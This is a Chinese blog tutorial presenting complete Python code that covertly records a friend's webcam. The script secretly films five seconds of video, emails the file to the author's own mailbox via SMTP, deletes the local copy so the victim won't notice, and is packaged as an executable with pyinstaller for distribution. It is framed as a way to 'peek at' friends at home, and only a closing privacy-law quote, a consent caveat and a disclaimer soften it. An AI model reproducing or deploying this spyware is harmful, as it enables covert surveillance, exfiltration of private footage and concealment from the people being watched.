python-调用摄像头查看朋友状态,邮箱发送视频

疫情还没完全过去,没有开学很无聊?想看看朋友的近况如何吗?接下来教大家如何偷看朋友宅在家干什么。

通过opencv调用摄像头进行拍摄

你可以修改保存位置、录像时间等

file = 'D:\\video1.avi'
cap = cv2.VideoCapture(0, cv2.CAP_DSHOW)
fourcc = cv2.VideoWriter_fourcc(*'XVID')
size = (int(cap.get(cv2.CAP_PROP_FRAME_WIDTH)), int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT)))
out = cv2.VideoWriter(file, fourcc, 10.0, size)
begin = datetime.datetime.now()
# 设置录像时间
while (datetime.datetime.now()-begin).seconds < 5:
    ret, frame = cap.read()
    # 横向翻转
    frame = cv2.flip(frame, 1)
    out.write(frame)
    cv2.waitKey(80)
cap.release()
out.release()
cv2.destroyAllWindows()

 邮件发送

send_user = '你自己的邮箱地址'  # 发件人
password = '你的授权码'  # 授权码
receive_users = '你自己的邮箱地址'  # 收件人
subject = '朋友的视频'  # 邮件主题
email_text = '朋友发来视频啦'  # 邮件正文
server_address = '你的服务器地址'  # 服务器地址
mail_type = '1'  # 邮件类型

# 构造一个邮件体:正文 附件
msg = MIMEMultipart()
msg['Subject'] = subject  # 主题
msg['From'] = send_user  # 发件人
msg['To'] = receive_users  # 收件人

# 构建正文
part_text = MIMEText(email_text)
msg.attach(part_text)  # 把正文加到邮件体里面去

# 构建邮件附件
part_attach1 = MIMEApplication(open(file, 'rb').read())  # 打开附件
part_attach1.add_header('Content-Disposition', 'attachment', filename=file)  # 为附件命名
msg.attach(part_attach1)  # 添加附件

# 发送邮件 SMTP
smtp = smtplib.SMTP(server_address, 25)  # 连接服务器,SMTP_SSL是安全传输

smtp.login(send_user, password)
smtp.sendmail(send_user, receive_users, msg.as_string())  # 发送邮件

问题来了,这样视频会保存在本地,那么朋友不就发现了吗?那我们偷偷删掉吧,吼吼吼~,我真是个小机灵鬼呢。

os.remove(file)  # 删除视频文件

全部代码

import cv2  # openCV模块
import datetime  # 时间
from email.mime.text import MIMEText  # 专门发送正文
from email.mime.multipart import MIMEMultipart  # 发送多个部分
from email.mime.application import MIMEApplication  # 发送附件
import smtplib  # 发送邮件
import os

import ctypes
temp = ctypes.windll.LoadLibrary('opencv_videoio_ffmpeg420_64.dll')

file = 'D:\\video1.avi'
cap = cv2.VideoCapture(0, cv2.CAP_DSHOW)
fourcc = cv2.VideoWriter_fourcc(*'XVID')
size = (int(cap.get(cv2.CAP_PROP_FRAME_WIDTH)), int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT)))
out = cv2.VideoWriter(file, fourcc, 10.0, size)
begin = datetime.datetime.now()
# 设置录像时间
while (datetime.datetime.now()-begin).seconds < 5:
    ret, frame = cap.read()
    # 横向翻转
    frame = cv2.flip(frame, 1)
    out.write(frame)
    cv2.waitKey(80)
cap.release()
out.release()
cv2.destroyAllWindows()
print("今天你真漂亮!!!")
send_user = '你自己的邮箱地址'  # 发件人
password = '你的授权码'  # 授权码
receive_users = '你自己的邮箱地址'  # 收件人
subject = '朋友的视频'  # 邮件主题
email_text = '朋友发来视频啦'  # 邮件正文
server_address = '你的服务器地址'  # 服务器地址
mail_type = '1'  # 邮件类型

# 构造一个邮件体:正文 附件
msg = MIMEMultipart()
msg['Subject'] = subject  # 主题
msg['From'] = send_user  # 发件人
msg['To'] = receive_users  # 收件人

# 构建正文
part_text = MIMEText(email_text)
msg.attach(part_text)  # 把正文加到邮件体里面去

# 构建邮件附件
part_attach1 = MIMEApplication(open(file, 'rb').read())  # 打开附件
part_attach1.add_header('Content-Disposition', 'attachment', filename=file)  # 为附件命名
msg.attach(part_attach1)  # 添加附件

# 发送邮件 SMTP
smtp = smtplib.SMTP(server_address, 25)  # 连接服务器,SMTP_SSL是安全传输

smtp.login(send_user, password)
smtp.sendmail(send_user, receive_users, msg.as_string())  # 发送邮件
os.remove(file)  # 删除视频文件
os.system("pause")

可能遇到的问题

安装cv2,不是pip install cv2,而是

pip install opencv-python

视频无法播放

搜索了几篇文章,原来打包的时候没有把opencv依赖加进去,我们手动添加一下

import ctypes
temp = ctypes.windll.LoadLibrary('opencv_videoio_ffmpeg420_64.dll')

你的.dll文件可能和我的不一样,记得修改。

.dll依赖

邮箱授权

新浪,163,qq等邮箱均可授权,大多在设置里面。

软件打包

pyinstaller -F test.py

测试结果

同学测试结果

前几天写了个图片拼接的程序,后来想到之前做项目有用邮箱给用户发送密码找回的邮件等。于是想到,为什么不拍摄一张照片发到自己邮箱呢?后来又改成了视频,通过附件方式发送。

根据我国国情及国外有关资料,下列行为可归入侵犯隐私权范畴:

3、非法跟踪他人,监视他人住所,安装窃听设备,私拍他人私生活镜头,窥探他人室内情况。

注意:由于涉及隐私,请找关系好的朋友(你发送视频邀请也会接的那种,博主仅找了女朋友及两位比较好的朋友),挑选合适时间(不要早上或晚上,确保衣服穿好了),通过旁敲侧击,确定对方没有处于私密状态,结束后通知对方,对方有要求则删除视频,开玩笑不要太过分。

免责声明:对于使用不当发生的各种情况,博主不承担任何法律责任。

猜你喜欢

转载自blog.csdn.net/lady_killer9/article/details/106316260